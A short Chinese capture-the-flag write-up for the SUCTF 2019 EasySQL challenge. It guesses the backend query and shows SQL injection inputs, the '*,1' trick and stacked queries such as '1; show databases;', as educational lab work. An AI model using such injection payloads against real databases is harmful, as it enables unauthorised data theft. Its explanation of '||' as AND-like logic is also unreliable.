[SUCTF 2019]EasySQL 1

文章讲述了如何通过SQL注入技巧,利用`||`操作符和短路语法绕过安全机制,从flagfromflag表中提取flag。内容包括使用`select*,1fromflag`进行堆叠注入以及处理from被过滤的情况。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

根据题目的提示这是一个sql注入的题目所以我们就尝试sql注入
先输入1,发现有回显
在这里插入图片描述
返回的数组,再加上给的语句Give me your flag, I will tell you if the flag is right.,推出有flag from flag,因为需要验证flag是否正确,可以猜测出sql语句可能是

select $_POST['query'] || flag from flag

补充 || = or的相关知识,
command1 || command2
两个有一假,则全为假,只有全真为真。

使用短路语法就可以读出flag

select *,1 from flag

解释一下这句sql语句

  1. SELECT *: 这会选择 flag 表中的所有列。
  2. , 1: 这会在结果集中添加一个额外的列,该列对于 flag 表中的每一行都有一个值 1。

还有一种就是堆叠注入

1; show databases;
1;show databases;show tables;
1;show databases;show tables;use test;show columns from Flag;
但是from被过滤了,所以戛然而止

目前就这么多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值